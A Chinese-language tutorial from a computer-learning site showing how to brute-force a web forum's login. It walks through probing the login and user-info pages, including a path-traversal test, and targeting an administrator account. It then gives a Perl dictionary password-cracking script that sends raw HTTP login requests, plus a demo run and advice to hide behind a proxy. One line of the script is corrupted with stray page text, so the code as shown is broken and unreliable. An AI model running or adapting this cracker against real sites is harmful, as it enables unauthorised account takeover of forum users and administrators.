萬盛學電腦網

 萬盛學電腦網 >> 健康知識 >> 一次簡單腳本攻擊實例

一次簡單腳本攻擊實例

  二、准備/分析安全第一,先開個HTTP代理,打開社區的登陸頁面,看到上面顯示的URL是****bbs.com/login.cgi打開頁面的源代碼,找到登陸的關鍵幾句:<form action="login.cgi" method="post"><input type="hidden" value="login"><input type="hidden" value="">用戶名:<input size="25">密 碼:<input type="password" size="25" value></form>所以,提交登陸信息的URL應該是****bbs.com/login.cgi?username=ID&userpsd=PWD&menu=login&id=

習慣先查看用戶信息,因為一般情況下用戶名和密碼都是緊連著保存在一起的,5自學網,在這裡我們更容易接近我們想要的信息。提交如下URL查看silkroad用戶信息:****bbs.com/yhreg.cgi?menu=viewuser&username=silkroad返回正常用戶信息

****bbs.com/yhreg.cgi?menu=viewuser&username=./silkroad同樣返回正常用戶信息,看來.和/已經被過濾掉了

****bbs.com/yhreg.cgi?menu=viewuser&username=silkroad

這個是成功登陸後返回的信息

返回的信息的第七行"fe7"和"18d"不同,我們就從這裡下手

現在到社區的管理團隊上看看管理員的ID,其中一個管理員的ID是“秘密”

三、程序代碼/代碼解析思路(步驟):取得IP ---> 打開字典,字典裡每一行一個密碼 ---> socket() ---> connect() ---> 向目標主機WEB端口提交數據,此數據中所提交的密碼用一個變量來代替,這個變量就是字典裡的密碼 ---> 將返回的信息保存,用先前提到的登陸成功/失敗返回信息的不同點進行對比,判斷是否登陸成功,即密碼是否正確 ---> [ 當前密碼正確--->輸出正確的密碼並退出程序; 當前密碼錯誤--->從第二步驟開始重復,直到密碼正確或試完字典裡的所有密碼 ]

#!/usr/bin/perl##################################################################

use Socket; #使用Socket模塊

my $ARGC=@ARGV; #取得參數的數量if($ARGC!=1){print "\nPassword Cracker Tool By HBU-the0crat\nUsage:$0 TargetIP\n";exit;}

my $host=shift; #獲取主機IPprint "\nSending...";

open(FH,"<dic.dic"); #掛字典

while(<FH>) #讀取字典{chomp;my $pwd= 用戶名:@HackBase.net密 碼: $Content$Content$nbsp;

;my $req="GET ****bbs.com/login.cgi?username=asdfasdf&userpsd=$pwd&menu=login&id= HTTP/1.1\n"."host:iis-server\n\n"; #提交的信息

my @res=sendraw($req); #將目標服務器返回的信息保存為數組

if($res[6]=~/fe7/g) #從@res數組中取得所返回信息的第7行,並進行判斷。判斷依據:前文中用telnet所獲知的用來判斷密碼是否正確的字符{print "\npwd:$pwd error";} #如果返回的信息中的第7行中包含fe7這三個字符,則在屏幕上打印出密碼錯誤的信息else{print "\npwd:$pwd passed"; #因為成功登陸後返回的信息中的第7行不包含fe7這三個字符,所以如果第7行中不包含fe7這三個字符就表示登陸成功,即密碼正確close(FH);exit; #探測到正確密碼立刻退出}

} #對比判斷是否登陸成功的循環close(FH);

sub sendraw {my ($req2) = @_;my $target;$target = inet_aton($host) or die "\ninet_aton problems"; #轉換目標IPsocket(Handle,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) or die "\nSocket problems\n"; #Socketif(connect(Handle,pack "SnA4x8",2,80,$target)){ #此例中為80端口,根據實際情況更改select(Handle);$| = 1;print $req2; #向目標服務器提交登陸資料my @res2 = <Handle>; #取得目標服務器返回的信息select(STDOUT);close(Handle);return @res2; #將目標服務器返回的信息作為sendraw()函數的返回值}else {die("\nCan't connect to $host:80...\n");}}

四、演示dic.dic內容如下:asdfasdfasdfasdfa運行這個腳本(win2k activeperl5.6下通過)C:\>cracker.pl ****bbs.com

Sending...pwd:asdf errorpwd:asdfasdf passed

程序探測到正確密碼後退出...:)

注意要根據實際情況更改提交的信息和判斷依據,以及WEB端口掛個字典,就可以慢慢等密碼出來了,然而更多時候是取決於你的運氣

五、總結弊:這段代碼用的是單線程,所以在探測的速度上不是很理想,有興趣的可以去改改,5自學網,在沒有使用跳板的情況下對自己不安全,而且成功率很大程度上取決於你的運氣利:這種方法比較有效, 但也是比較沒有效率的密碼破解方式

copyright © 萬盛學電腦網 all rights reserved